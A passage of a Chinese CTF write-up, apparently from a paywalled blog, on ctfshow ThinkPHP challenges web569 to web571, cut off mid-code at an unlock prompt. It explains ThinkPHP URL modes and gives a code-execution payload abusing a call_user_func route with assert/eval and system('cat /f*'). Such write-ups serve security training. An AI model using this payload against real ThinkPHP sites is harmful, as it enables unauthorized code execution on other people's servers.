web569
相关内容
参考thinkphp手册

为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。

PATHINFO模式
http://localhost/index.php/Home/Index/index/name/123/
普通模式
http://localhost/index.php?m=Home&c=Index&f=index&name=123
兼容模式
http://localhost/index.php?s=Home/Index/index/name/123
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,所以我们也可以改成其他的参数。
REWRITE模式
http://localhost/Home/Index/index/name/123/
题解
所以我们要访问Admin模块的Login控制器的ctfshowLogin方法就很简单了
url/index.php/Admin/Login/ctfshowLogin
web570
下载下来题目给的Applicaition文件,在config.php中发现了一条路由规则。

'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
也就是当我们访问url/index.php/ctfshow/xxx/yyy时会执行call_user_func(xxx,yyy)。
因为输入/很困难,所以我们直接执行system(‘ls /’)不太可能,只能换种方法。
payload:
url/index.php/ctfshow/assert/eval($_POST[1])/post: 1=system('cat /f*');
web571
在home模块下的index方法中看到了可控变量n。

那我们来研究下这个show函数,为了方面我们传的参数只留下$n
<?php
namespace Home\Controller;
use

本文详细探讨了ThinkPHP框架中的多种安全漏洞,包括URL路由规则利用、SQL注入、代码执行等,并提供了相应的攻击payload示例。通过实例解析了如何通过不同模式访问控制器方法,以及如何利用路由规则、函数调用来执行任意代码。同时,文章还介绍了防止这些攻击的安全措施,提醒开发者注意代码安全。
最低0.47元/天 解锁文章
4631





